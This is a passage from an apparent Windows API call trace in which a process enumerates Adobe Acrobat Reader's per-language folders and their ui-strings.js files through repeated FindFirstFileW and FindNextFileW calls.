ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.397] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0274.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0274.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.398] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0274.398] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.398] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0274.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.399] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0274.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0274.399] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0274.501] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.501] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.501] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.501] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0274.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0274.502] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0274.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.502] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0274.503] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.504] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.504] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.504] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0274.504] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.504] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0274.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.504] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0274.504] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.504] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.504] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.505] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0274.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.505] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0274.505] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0274.506] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.506] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.506] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.506] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0274.506] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.506] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0274.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0274.507] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.507] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.507] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.507] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0274.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.507] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0274.507] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.507] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-si\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0274.508] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.508] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.508] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0274.508] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0274.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.508] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0274.508] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0274.508] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sl-sl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159b0 [0274.508] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0274.508] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0274.508] FindClose (in: hFindFile=0x33159b0 | out: hFindFile=0x33159b0) returned 1 [0274.508] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0274.509] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396df28 